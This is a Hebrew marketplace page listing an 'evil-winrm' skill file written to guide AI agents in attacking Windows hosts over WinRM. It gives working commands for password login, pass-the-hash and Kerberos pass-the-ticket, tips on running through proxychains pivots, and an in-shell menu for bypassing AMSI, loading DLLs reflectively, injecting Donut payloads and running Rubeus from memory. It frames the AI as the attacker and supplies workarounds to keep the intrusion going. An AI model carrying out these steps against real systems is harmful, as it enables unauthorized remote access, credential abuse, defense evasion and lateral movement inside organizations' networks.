evil-winrm
Interactive WinRM shell: Handles domain routing, non-interactive execution constraints, Pass-the-Hash, and path resolutions for Agent execution.
v2026.11.13-21cd5683 התקנות+3 ב-7 ימים39 כוכביםסונכרן לפני 10 שעות
התקנה
עדיין אין לכם את ה-CLI של NotHoly? התקינו אותו קודם.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/evil-winrmנכתב אל ~/.notholy/skills אחרי בדיקת החתימה וה-SHA-256.
חתימהחתום, ed25519
חבילה636924b2…5cc62645
636924b2cd7c…2d2b5cc62645קובץ אחד · 2.0 KBסריקהבינוניממצא אחד
- לא נמצא רישיון
מקורgithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/evil-winrm@21cd568
הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.
בעמוד הזה
Goal: Execute commands and obtain interactive sessions on Windows machines over WinRM (Ports 5985 HTTP / 5986 HTTPS).
Agent Constraints & Execution
When an AI Agent executes evil-winrm, standard PTY interactive prompts usually fail or capture nothing via piping (echo whoami | evil-winrm). Do not attempt to pipe into it if the session hangs.
Instead, when obtaining output programmatically through a shell:
- Locate the absolute path of the gem (e.g.,
gem contents evil-winrm, orfind / -name "evil-winrm" -type f). - Use an interactive shell controller, OR pass commands directly through single execution modes if supported.
- If
evil-winrmhangs or drops output, switch to Impacket'swmiexec.pyorpsexec.pyas fallbacks for initial command execution. Caveat: those use NTLM — against Kerberos-only or Protected Users targets they fail; there, drive WinRM PSRP over Kerberos non-interactively (pypsrpClient(...).execute_ps()). Seeoffensive-techniques/active-directory-technique/references/lateral-movement-ad.md.
The Domain/Realm Trap
A common failure when attacking Active Directory via WinRM is attempting to pass the domain with the -d flag. Modern versions of evil-winrm do not use -d for basic domain routing.
- If you are NOT using Kerberos tickets, do not pass a domain flag. Simply pass
-u <user>and-p <password>. WinRM will automatically negotiate the domain if the host is a Domain Controller or joined to it. - If you ARE using Kerberos tickets (
-K), you must specify the realm using-r <realm>. Note that Kerberos requires the FQDN to be passed to-i(e.g.,-i dc01.contoso.com), not just the IP address, and the KDC must be configured in/etc/krb5.conf.
Core Connection Patterns
# Basic connection (Let it negotiate Domain via NTLM auth inherently)
evil-winrm -i 10.129.20.206 -u 'alex.turner' -p 'Checkpoint2024!'
# Pass-The-Hash (NTLM, Format: NT or LM:NT)
evil-winrm -i 10.129.20.206 -u 'administrator' -H '8846f7eaee8fb117ad06bdd830b7586c'
# Kerberos Pass-The-Ticket (-K supports both ccache and kirbi)
# Note: IP must be the FQDN, and Realm must be specified
evil-winrm -i dc01.checkpoint.htb -r checkpoint.htb -K /tmp/ticket.ccache
# Over SSL (e.g., WinRM running on 5986 HTTPS)
evil-winrm -i 10.129.20.206 -u 'alex.turner' -p 'Checkpoint2024!' -SProxychains / MCPwn Agent Gotchas
When running evil-winrm through proxychains (e.g. via a chisel SOCKS pivot):
- Must be interactive:
proxychains evil-winrm ...needs a PTY. In MCPwn, usestart_interactive_shell, notexecute_command. run_in_shellworks for commands but its completion-marker injection breaksdownload/upload: the marker string gets appended to the path argument, corrupting it. Usesend_to_shell+read_shell_outputfor file transfers.downloadpath resolution: evil-winrm resolves relative to CWD. Absolute paths in the argument get mangled (backslashes stripped). Fix:cdto the target directory first, thendownload <filename> /local/dest.- Non-interactive
-c/ single-command mode: through proxychains it often SIGTERM's before output returns. Use the interactive shell approach instead.
Built-In Menu Commands (Interactive Only)
Once a successful interactive shell is caught via PTY, use menu to see options:
upload /local/path [C:\remote\path](Remote path is optional, uses current dir)download C:\remote\path [/local/path]Bypass-4MSI(Attempts to patch AMSI in memory)Dll-Loader -local -path C:\temp\pwn.dll(Loads DLL reflectively in memory)Donut-Loader -process_id [PID] -donutfile /tmp/payload.bin(Injects x64 Donut payloads)Invoke-Binary /path/to/Rubeus.exe 'param1, param2'(Executes .NET assemblies directly from memory).
הקבצים בגרסה הזו
- SKILL.md3.9 KB
הרשאות
| הרשאה | הוצהר | נמצא בסריקה |
|---|---|---|
| קורא קבצים | לא | לא |
| כותב קבצים | לא | לא |
| מריץ פקודות shell | כן | כן |
| משתמש ברשת | לא | לא |
| משתמש במחברים | לא | לא |
| שולט בדפדפן | לא | לא |
ממצאי הסריקה
נבדק ב-13 בנוב׳ 2026
- בינוניתרישיון · לא נמצא רישיון
סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.
| גרסה | פורסמה | Commit | SHA-256 | חתימה | שינוי בהרשאות |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 בנוב׳ 2026 | 21cd568 | 636924b2 | חתומה | – |
עוד מ-AeonDave
הכול מהמפרסם הזהעוד בקטגוריה Active Directory ו-Windows
לקטגוריה- offensive-windows-mitigationssnailsploit/offensive-windows-mitigations4
- active-directory-attack-pathssecurityskills/active-directory-attack-paths3
- analyzing-powershell-script-block-loggingmukul975/analyzing-powershell-script-block-logging3
- offensive-windows-boundariessnailsploit/offensive-windows-boundaries3
- bloodyadaeondave/bloodyad3
- winpeasaeondave/winpeas3
שאלו כל מה שהסקופ מאפשר.
יוצרים חשבון, מוסיפים קרדיטים ושואלים את השאלה הראשונה בצ׳אט או בטרמינל.
- 1/3
יצירת חשבון
פרטי או חברה. אפשר לעבור לחשבון חברה אחר כך בלי לאבד יתרה או מפתחות.
פרטיחברה - 2/3
הוספת קרדיטים
בכרטיס אשראי. תשלום לפי טוקן, בלי מנוי.
$5.00טעינה מינימלית - 3/3
שאלה ראשונה
בצ׳אט, או להתקין את ה-CLI ולהריץ notholy login בטרמינל.
$ notholy login